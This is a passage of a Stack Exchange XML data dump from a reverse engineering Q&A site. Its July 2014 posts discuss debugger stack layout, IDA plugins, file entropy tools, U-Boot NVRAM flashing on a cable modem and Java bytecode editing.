href=&quot;http://pferrie.host22.com/papers/shellcode2.pptx&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastEditorUserId="53" LastEditDate="2014-07-22T21:24:26.710" LastActivityDate="2014-07-22T21:24:26.710" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5922" PostTypeId="2" ParentId="5914" CreationDate="2014-07-22T17:40:31.743" Score="1" Body="&lt;p&gt;It may be possible. Based on the data sheet you posted, you need to see if Pin 9 is tied directly to ground, or can be controlled by the CPU. If it can be controlled, the chip can be re-programmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Pin 9 is tied to the CPU, you may then be in the realm of trial-and-error to see how to control that pin.&lt;/p&gt;&#xA;" OwnerUserId="8122" LastActivityDate="2014-07-22T17:40:31.743" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5923" PostTypeId="1" AcceptedAnswerId="5924" CreationDate="2014-07-23T01:49:02.503" Score="1" ViewCount="507" Body="&lt;p&gt;When I start &lt;code&gt;notepad.exe&lt;/code&gt; with ollydbg in Windows XP, the initial register was &lt;code&gt;esp:7FFC4&lt;/code&gt; and &lt;code&gt;ebp:7FFF0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stack&#xA;&#xA;...&#xA;0007FFC4  7C817067  kernel32.7C817067 &amp;lt;--- ESP&#xA;0007FFC8  7C940208  ntdll.7C940208&#xA;0007FFCC  FFFFFFFF&#xA;0007FFD0  7FFDB000&#xA;0007FFD4  80546BFD&#xA;0007FFD8  0007FFC8&#xA;0007FFDC  81D22DA8&#xA;0007FFE0  FFFFFFFF                    &amp;lt;--- EBP&#xA;0007FFE4  7C839AC0  kernel32.7C839AC0&#xA;0007FFE8  7C817070  kernel32.7C817070&#xA;0007FFEC  00000000&#xA;0007FFF0  00000000&#xA;0007FFF4  00000000&#xA;0007FFF8  0100739D notepad.&amp;lt;ModuleEntryPoint&amp;gt;&#xA;0007FFFC  00000000&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I first guessed the initial stack was empty,&#xA;but by the process argument (&lt;em&gt;e.g.&lt;/em&gt;, &lt;code&gt;argc&lt;/code&gt;, &lt;code&gt;argv&lt;/code&gt;), I thought it can have some values.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;what is meaning of the initial stack between &lt;code&gt;EBP&lt;/code&gt; and &lt;code&gt;ESP&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;li&gt;the stack &lt;code&gt;ESP&lt;/code&gt; can be lower than &lt;code&gt;7FFE0&lt;/code&gt; (over than as value) while &lt;code&gt;notepad.exe&lt;/code&gt; is running ? In other words, can esp point at &lt;code&gt;0007FFF8&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6908" LastEditorUserId="53" LastEditDate="2014-07-24T08:00:30.363" LastActivityDate="2014-07-24T08:02:02.647" Title="Who does construct the stack on process creation in Windows?" Tags="|windows|x86|stack-variables|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5924" PostTypeId="2" ParentId="5923" CreationDate="2014-07-23T02:24:21.573" Score="3" Body="&lt;p&gt;Visit these two webpages for information about &lt;strong&gt;&lt;em&gt;&lt;a href=&quot;http://en.wikibooks.org/wiki/X86_Disassembly/The_Stack&quot; rel=&quot;nofollow&quot;&gt;stack&lt;/a&gt;&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;&lt;a href=&quot;http://en.wikibooks.org/wiki/X86_Disassembly/Functions_and_Stack_Frames&quot; rel=&quot;nofollow&quot;&gt;stack frames&lt;/a&gt;&lt;/em&gt;&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;what is meaning of the initial stack between EBP and ESP?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;EBP&lt;/code&gt; and &lt;code&gt;ESP&lt;/code&gt; are used in conjunction to create a stack frame. To allow for many unknowns in the execution environment, functions are frequently set up with a &quot;stack frame&quot; to allow access to both function parameters, and automatic function variables. The idea behind a stack frame is that each subroutine can act independently of its location on the stack, and each subroutine can act as if it is the top of the stack.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the stack ESP can be lower than 7FFE0 (over than as value) while&#xA;  notepad.exe running? in other words, can esp point at 0007FFF8?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ESP&lt;/code&gt; is a simple x86 register just like any other. So it can be modified in the same ways like other. If you write a command like &lt;code&gt;sub esp, 100&lt;/code&gt; then &lt;code&gt;ESP&lt;/code&gt; will be modified&#xA;and it is true that &lt;code&gt;ESP&lt;/code&gt; can have a lower value than 7FFE0. The value of &lt;code&gt;ESP&lt;/code&gt; shown in Ollydbg is when the application is at its entry point. Before that considerable operations takes place which modify the stack. So definitely, &lt;code&gt;ESP&lt;/code&gt; can have a lower value than that.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2014-07-23T02:24:21.573" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5925" PostTypeId="1" CreationDate="2014-07-23T08:34:51.147" Score="1" ViewCount="1078" Body="&lt;p&gt;I have this kind of code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yJQKm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have reversed the struct entirely, and when I try to cast to ClientGame*, instead of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(mainStruct-&amp;gt;something &amp;amp; 2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bJe8U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The offsets 0x364, 0x370, and 0x374 are also reversed and each one has the size that IDA wants (0x374 is a &lt;code&gt;db&lt;/code&gt;, 0x364 and 0x370 are &lt;code&gt;dd&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to fix it? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4750" LastActivityDate="2014-07-23T08:34:51.147" Title="IDA Pro not showing structures, even when they're defined" Tags="|ida|ida-plugin|decompiler|hexrays|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5926" PostTypeId="1" AcceptedAnswerId="5927" CreationDate="2014-07-23T10:24:35.413" Score="14" ViewCount="11762" Body="&lt;p&gt;I've heard of &lt;a href=&quot;http://gynvael.coldwind.pl/?id=158&quot;&gt;tools&lt;/a&gt; that could be used to graph entropy of a file. Is there a graphical Linux program that I could use for this job that would let me conveniently explore which blocks of a file have certain entropy patterns that could suggest compressed or encrypted data?&lt;/p&gt;&#xA;" OwnerUserId="4674" LastActivityDate="2022-02-05T09:47:59.183" Title="What Linux software can I use to explore entropy of a file?" Tags="|binary-analysis|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5927" PostTypeId="2" ParentId="5926" CreationDate="2014-07-23T11:51:11.070" Score="14" Body="&lt;p&gt;You could use the #entropy command &lt;a href=&quot;http://rada.re&quot; rel=&quot;noreferrer&quot;&gt;radare2&lt;/a&gt;. &lt;a href=&quot;http://binwalk.org&quot; rel=&quot;noreferrer&quot;&gt;binwalk&lt;/a&gt; can calculate entropy, too.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Radare2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;From the manual page of Radare2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; #[hash]     Calculates the sha1, sha256, sha384, sha512, par, xor,&#xA;             xorpair, hamdist, mod255, crc16, crc32, md4, md5, entropy of&#xA;             the current block from the selected seek&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, using this command is as follow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ radare2 /bin/ls&#xA;[0x00404890]&amp;gt; #entropy&#xA;5.338618&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Binwalk&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you get binwalk from the &lt;a href=&quot;https://github.com/devttys0/binwalk&quot; rel=&quot;noreferrer&quot;&gt;original Github project&lt;/a&gt;, you will also grad a few &lt;a href=&quot;https://github.com/devttys0/binwalk/tree/master/src/binwalk/modules&quot; rel=&quot;noreferrer&quot;&gt;Python modules&lt;/a&gt;, one of these is computing the &lt;a href=&quot;https://github.com/devttys0/binwalk/blob/master/src/binwalk/modules/entropy.py&quot; rel=&quot;noreferrer&quot;&gt;entropy of the analyzed file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get these modules and run it on your file.&lt;/p&gt;&#xA;" OwnerUserId="8126" LastEditorUserId="53" LastEditDate="2014-07-24T08:31:10.397" LastActivityDate="2014-07-24T08:31:10.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5928" PostTypeId="2" ParentId="5926" CreationDate="2014-07-23T20:53:05.403" Score="8" Body="&lt;p&gt;&lt;a href=&quot;http://ntinfo.biz/index.php/detect-it-easy&quot; rel=&quot;noreferrer&quot;&gt;Detect It Easy&lt;/a&gt; can do it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vPW9J.jpg&quot; alt=&quot;Entropy&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is version for Linux.&lt;/p&gt;&#xA;" OwnerUserId="3147" LastActivityDate="2014-07-23T20:53:05.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5929" PostTypeId="2" ParentId="5923" CreationDate="2014-07-23T22:25:10.143" Score="1" Body="&lt;p&gt;&lt;code&gt;RtlCreateUserStack()&lt;/code&gt; creates the stack on thread creation (And every process has the main thread). Or more generally: The Windows PE loader. &#xA;What is the PE loader? That thing that creates a process out of an executable file on disk (or adds that executable file to a process in case of DLLs)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your other question is why, by the time Olly breaks, there already are values on the stack.&lt;br&gt;&#xA;That is because your &lt;code&gt;main()&lt;/code&gt; entrypoint is not the first thing that will be executed in the process. Before &lt;code&gt;main()&lt;/code&gt; there is a lot of internal CRT setup, maybe even setting up global classes, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But even before any code of your executable is executed the DLLs still need to do some initalization of their own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you use OllyDbg, go to &lt;kbd&gt;Options&lt;/kbd&gt;-&gt;&lt;kbd&gt;Debugging&lt;/kbd&gt;-&gt;&lt;kbd&gt;Start&lt;/kbd&gt; and play around with that to get a feeling about what needs to be done before your code runs.&lt;/p&gt;&#xA;" OwnerUserId="8093" LastEditorUserId="53" LastEditDate="2014-07-24T08:02:02.647" LastActivityDate="2014-07-24T08:02:02.647" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5930" PostTypeId="1" AcceptedAnswerId="5961" CreationDate="2014-07-24T10:39:50.080" Score="2" ViewCount="556" Body="&lt;p&gt;I have noticed many times whilst disassembling executables that often the compiler will produce jumps to other unconditional jumps, rather than simply jumping to the final destination. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rlCkX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice instead of &lt;code&gt;jmp 0x100001634&lt;/code&gt; it would have written &lt;code&gt;jmp 0x100001681&lt;/code&gt; and skipped the two other jumps in between. Is there a particular reason for not doing so?&lt;/p&gt;&#xA;" OwnerUserId="8053" LastActivityDate="2014-07-28T16:26:53.040" Title="Why jump to unconditional jumps?" Tags="|disassembly|assembly|compilers|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5931" PostTypeId="1" AcceptedAnswerId="5932" CreationDate="2014-07-24T11:15:50.213" Score="4" ViewCount="1044" Body="&lt;p&gt;I overcame recent issues with a redefinition and finished my Plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short this plugin uses Hex-Rays Decompiler to decompile a given file, analyzes properties of the pseudocode and then appends the results to a &lt;code&gt;.csv&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I tried to use this in batch mode, but was stumped as the following happened:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cmd input to call IDA:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idaw -A -c -Srecompile.idc input_file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;recompile.idc&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;idc.idc&amp;gt;&#xA;static main() {&#xA;Wait();&#xA;Message(&quot;Hello world from IDC!\n&quot;);&#xA;RunPlugin(&quot;REcompile vs Hexrays&quot;,0); &#xA;//Exit(0);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I obviously need to &lt;code&gt;Wait()&lt;/code&gt; for Auto-Analysis. &lt;code&gt;Exit()&lt;/code&gt; is commented since it's for use when this is all fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i do get the following output on execution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The initial autoanalysis has been finished.&#xA;Hello world from IDC!&#xA;&#xA;LoadLibrary(C:\Program Files (x86)\IDA\plugins\REcompile vs Hexrays.plw) error: Das angegebene Modul wurde nicht gefunden.&#xA;C:\Program Files (x86)\IDA\plugins\REcompile vs Hexrays.plw: can't load file&#xA;Hex-Rays Decompiler plugin has been loaded (v1.6.0.111005)&#xA;Hex-rays version 1.6.0.111005 has been detected, REcompile vs Hexrays ready to use&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see the script is executed before the plugins are loaded. I assume this is the reason why I get the &lt;code&gt;LoadLibrary&lt;/code&gt; Error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any other input or experience with plugin batch execution i'd be happy to hear from you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greetings, &#xA;Viktor&lt;/p&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2014-07-24T15:07:15.277" Title="Ida Plugin Batch analysis issue." Tags="|ida|ida-plugin|idapro-sdk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5932" PostTypeId="2" ParentId="5931" CreationDate="2014-07-24T15:07:15.277" Score="4" Body="&lt;p&gt;Have you tried manually loading the Hex-Rays plugin before loading your plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;idc.idc&amp;gt;&#xA;static main() {&#xA;    Wait();&#xA;    Message(&quot;Hello world from IDC!\n&quot;);&#xA;    RunPlugin(&quot;hexrays&quot;,0);&#xA;    RunPlugin(&quot;REcompile vs Hexrays&quot;,0); &#xA;    //Exit(0);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-07-24T15:07:15.277" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5933" PostTypeId="1" CreationDate="2014-07-24T16:16:00.977" Score="1" ViewCount="2171" Body="&lt;p&gt;Cable modem SPI Flash memory have the following structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7 cmdlinepart partitions found on MTD device spansion&#xA;partitions[0] = {.name = U-Boot, .offset = 0x00000000,.size = 0x00020000 (128K) }&#xA;partitions[1] = {.name = env1, .offset = 0x00020000,.size = 0x00010000 (64K) }&#xA;partitions[2] = {.name = env2, .offset = 0x00030000,.size = 0x00010000 (64K) }&#xA;partitions[3] = {.name = firmware_101222c, .offset = 0x004a0000,.size = 0x002d0000 (2880K) }&#xA;partitions[4] = {.name = nvram, .offset = 0x007b0000,.size = 0x00050000 (320K) }&#xA;partitions[5] = {.name = UBFI1, .offset = 0x00040000,.size = 0x003b0000 (3776K) }&#xA;partitions[6] = {.name = UBFI2, .offset = 0x003f0000,.size = 0x003b0000 (3776K) }&#xA;Creating 7 MTD partitions on &quot;spansion&quot;:&#xA;0x00000000-0x00020000 : &quot;U-Boot&quot;&#xA;0x00020000-0x00030000 : &quot;env1&quot;&#xA;0x00030000-0x00040000 : &quot;env2&quot;&#xA;0x004a0000-0x00770000 : &quot;firmware_101222c&quot;&#xA;0x007b0000-0x00800000 : &quot;nvram&quot;&#xA;0x00040000-0x003f0000 : &quot;UBFI1&quot;&#xA;0x003f0000-0x007a0000 : &quot;UBFI2&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bootloader is working, I can connect to modem via serial interface, control boot process and upload firmware. I can't connect admin interface via ip 192.168.100.1, possibly due to wrong configuration stored in nvram. Can I erase Nvram only, without touching other partitions?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;?       - alias for 'help'&#xA;autoscr - run script from memory&#xA;base    - print or set address offset&#xA;bdinfo  - print Board Info structure&#xA;boot    - boot default, i.e., run 'bootcmd'&#xA;bootd   - boot default, i.e., run 'bootcmd'&#xA;bootm   - boot application image from memory&#xA;bootp   - boot image via network using BootP/TFTP protocol&#xA;cmp     - memory compare&#xA;coninfo - print console devices and information&#xA;cp      - memory copy&#xA;crc32   - checksum calculation&#xA;echo    - echo args to console&#xA;erase   - erase FLASH memory&#xA;eval    - return addition/subraction&#xA;exit    - exit script&#xA;flinfo  - print FLASH memory information&#xA;go      - start application at address 'addr'&#xA;help    - print online help&#xA;iminfo  - print header information for application image&#xA;imls    - list all images found in flash&#xA;itest   - return true/false on integer compare&#xA;loadb   - load binary file over serial line (kermit mode)&#xA;loads   - load S-Record file over serial line&#xA;loady   - load binary file over serial line (ymodem mode)&#xA;loop    - infinite loop on address range&#xA;md      - memory display&#xA;mm      - memory modify (auto-incrementing)&#xA;mtest   - simple RAM test&#xA;mw      - memory write (fill)&#xA;nm      - memory modify (constant address)&#xA;printenv- print environment variables&#xA;protect - enable or disable FLASH write protection&#xA;rarpboot- boot image via network using RARP/TFTP protocol&#xA;reset   - Perform RESET of the CPU&#xA;run     - run commands in an environment variable&#xA;saveenv - save environment variables to persistent storage&#xA;setenv  - set environment variables&#xA;sleep   - delay execution for some time&#xA;test    - minimal test like /bin/sh&#xA;tftpboot- boot image via network using TFTP protocol&#xA;version - print monitor version&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="39817" LastEditorUserId="39817" LastEditDate="2014-07-27T10:46:45.220" LastActivityDate="2014-07-27T10:46:45.220" Title="Erase the data from the NVRAM" Tags="|linux|firmware|memory|serial-communication|spi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5934" PostTypeId="2" ParentId="5933" CreationDate="2014-07-24T19:07:35.747" Score="1" Body="&lt;p&gt;You could probably use &lt;code&gt;erase&lt;/code&gt; with some arguments to erase only the nvram partition, but I'm not sure if U-Boot can then reinitialize nvram storage. And since nvram usually contains the boot commands, erasing everything could make your unit unbootable. Therefore I would recommend erasing only specific variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can &lt;a href=&quot;http://www.denx.de/wiki/publish/DULG/to-delete/UBootCmdGroupEnvironment.html&quot; rel=&quot;nofollow&quot;&gt;use &lt;code&gt;setenv&lt;/code&gt;&lt;/a&gt; for that:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To modify the U-Boot environment you have to use the setenv command.&#xA;  When called wih exactly one argument, it will delete any variable of&#xA;  that name from U-Boot's environment, if such a variable exists. Any&#xA;  storage occupied for such a variable will be automatically reclaimed: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INCA-IP # printenv foo&#xA;foo=This is an example value.&#xA;INCA-IP # setenv foo&#xA;INCA-IP # printenv foo&#xA;## Error: &quot;foo&quot; not defined&#xA;INCA-IP #&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Make sure to save the modifications with &lt;code&gt;saveenv&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-07-24T19:07:35.747" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5935" PostTypeId="1" AcceptedAnswerId="5936" CreationDate="2014-07-24T21:39:22.400" Score="3" ViewCount="242" Body="&lt;p&gt;I have an old game that I am wanting to increase the resolution on. The problem is that the game is ancient and was written using &lt;code&gt;DDRAW&lt;/code&gt; and &lt;code&gt;GDI&lt;/code&gt; .A few things are weird with this application, First starting from the entry point all the program does is create the process. secondly all the other code is indeed executed just I can't break over it (Making reversing a very slow process).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone tried to reverse a &lt;code&gt;DDraw&lt;/code&gt; application?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I so far, have it to where I have expanded the resolution in such, that the application is still showing the default resolution just pushed to the left top corner and everything is still the 640x480 and is surrounded by black BUT the cool thing is I can click out of the 640x480 in the black area and click on objects and move to them. Would anyone know how to possibly resolve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing, it doesn't seem to matter what kind of break point I set in this(outside of EP) area of code the program never breaks there. Is there something I am missing here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can try to come up with a picture as an example if that would help ; if no one understands how I am describing resolution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I only see a call for &lt;code&gt;DirectDrawCreate&lt;/code&gt;  and it looks like it would point to an object or window but I cant tell entirely cause I cant break here.&lt;/p&gt;&#xA;" OwnerUserId="6992" LastEditorUserId="1413" LastEditDate="2014-07-25T02:24:00.443" LastActivityDate="2014-07-25T08:49:05.520" Title="Reversing DDRAW application" Tags="|windows|ollydbg|interoperability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5936" PostTypeId="2" ParentId="5935" CreationDate="2014-07-25T08:49:05.520" Score="1" Body="&lt;p&gt;DDRAW is an object based interface. DirectDrawCreate creates DDRAW interface object (based on GUID provided as paramter). Regarding black area, most probably rendering part uses internally  smaller resolution. Could you share the game's name?&lt;/p&gt;&#xA;" OwnerUserId="8133" LastActivityDate="2014-07-25T08:49:05.520" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5937" PostTypeId="1" CreationDate="2014-07-25T13:55:38.123" Score="0" ViewCount="131" Body="&lt;p&gt;I'm looking for &lt;em&gt;something&lt;/em&gt; (a tool?) that can help me achieve my current goal: write a driver that can momentously interrupt the execution of the operating system (Linux, in my case), let me be able to run some code, and then resume the operating system execution, letting me access information on the pre-interruption context afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following some advice, I've tried the well-known Intel Pin (a binary instrumentation framework), only to discover that in fact, it can only operate at user-level, while I need to access kernel mode. After some research, I've then found some interesting threads in this group, namely &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1724/how-can-i-use-dynamorio-or-something-similar-in-linux-kernel-space&quot; title=&quot;this&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1797/kernel-level-dynamic-binary-instrumentation?lq=1&quot;&gt;this&lt;/a&gt;. Currently, my doubt is which tool is best suited for my needs. I'm leaning towards DynamoRio Kernel (DRK), but besides the other frameworks/tools mentioned in both threads, I found some more that seem to somewhat relate to what I'm looking for, namely Valgrind, GILK (although this is pretty deprecated, so it's not an option) or QEMU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is, I'm a newbie in the area, so probably some of the tools I've mentioned in the last paragraph don't even apply to what I'm looking for. Can someone help me in choosing the best framework for my purposes?&lt;/p&gt;&#xA;" OwnerUserId="8136" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-07-25T14:16:22.520" Title="Set up an interrupt handler at kernel mode" Tags="|tools|linux|kernel-mode|instrumentation|" AnswerCount="0" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5938" PostTypeId="2" ParentId="4203" CreationDate="2014-07-25T14:54:14.907" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/longld/peda&quot; rel=&quot;nofollow noreferrer&quot;&gt;PEDA&lt;/a&gt; is a gdb plugin that can display the current process status:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;stack content&lt;/li&gt;&#xA;&lt;li&gt;register content&lt;/li&gt;&#xA;&lt;li&gt;instructions near the program counter&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The output is pretty and colored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t3mbd.png&quot; alt=&quot;peda session screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are loads of &lt;a href=&quot;https://github.com/longld/peda/blob/master/README.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;other features&lt;/a&gt; such as finding ROP gadget, showing elf headers, showing the enabled mitigations (ASLR, DEP, RELRO, ...)&lt;/p&gt;&#xA;" OwnerUserId="1547" LastEditorUserId="1547" LastEditDate="2014-07-25T18:50:47.763" LastActivityDate="2014-07-25T18:50:47.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5940" PostTypeId="1" CreationDate="2014-07-26T18:11:58.047" Score="2" ViewCount="711" Body="&lt;p&gt;I tried to program SPI Flash NVRAM (S25FL064A) from U-boot, but it not allow to write:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tftp 0x80000100 nvram.bin&#xA;cp.b 0x80000100 0x007b0000 0x00050000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is no error shown after cp.b command, just not allow to write. What can be the problem?&#xA;Flash memory structure, from U-Boot 1.2.0 printenv:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Serial Flash [Bus:0 CS:0] : s25fl064a 8192KB, 128 sectors each  64KB&#xA;7 cmdlinepart partitions found on MTD device spansion&#xA;partitions[0] = {.name = U-Boot, .offset = 0x00000000,.size = 0x00020000 (128K) }&#xA;partitions[1] = {.name = env1, .offset = 0x00020000,.size = 0x00010000 (64K) }&#xA;partitions[2] = {.name = env2, .offset = 0x00030000,.size = 0x00010000 (64K) }&#xA;partitions[3] = {.name = firmware_EH, .offset = 0x004a0000,.size = 0x002d0000 (2880K) }&#xA;partitions[4] = {.name = nvram, .offset = 0x007b0000,.size = 0x00050000 (320K) }&#xA;partitions[5] = {.name = UBFI1, .offset = 0x00040000,.size = 0x003b0000 (3776K) }&#xA;partitions[6] = {.name = UBFI2, .offset = 0x003f0000,.size = 0x003b0000 (3776K) }&#xA;Creating 7 MTD partitions on &quot;spansion&quot;:&#xA;0x00000000-0x00020000 : &quot;U-Boot&quot;&#xA;0x00020000-0x00030000 : &quot;env1&quot;&#xA;0x00030000-0x00040000 : &quot;env2&quot;&#xA;0x004a0000-0x00770000 : &quot;firmware_EH&quot;&#xA;0x007b0000-0x00800000 : &quot;nvram&quot;&#xA;0x00040000-0x003f0000 : &quot;UBFI1&quot;&#xA;0x003f0000-0x007a0000 : &quot;UBFI2&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="39817" LastEditorUserId="39817" LastEditDate="2014-07-31T20:28:07.717" LastActivityDate="2014-07-31T20:28:07.717" Title="Flashing NVRAM with U-Boot 1.2.0" Tags="|linux|firmware|memory|serial-communication|spi|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5941" PostTypeId="1" AcceptedAnswerId="5944" CreationDate="2014-07-26T18:15:54.497" Score="7" ViewCount="6085" Body="&lt;p&gt;Okay. So I've just come up with the most amazing program for java developers and reverse-engineerers and I was wondering if something like the following program already exists:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm thinking of is like a middle-ground between something like &lt;a href=&quot;http://dirty-joe.com/&quot;&gt;DirtyJOE&lt;/a&gt; and a Java Decompiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already know that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It's possible to inject and manipulate code in a compiled class using &lt;a href=&quot;http://asm.ow2.org&quot;&gt;ASM&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;You can decompile an unobfuscated jar into a readable and understandable state&lt;/li&gt;&#xA;&lt;li&gt;It's practical to explore and edit a class using a GUI because DirtyJOE can do that amazingly well&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So is there some sort of program that can show me a decompiled class and allow me to manipulate/inject into different parts of it individually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I would like replace one method with my own or change a field's access within a compiled class file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically I'm looking for a frontend for ASM built with an interface based on 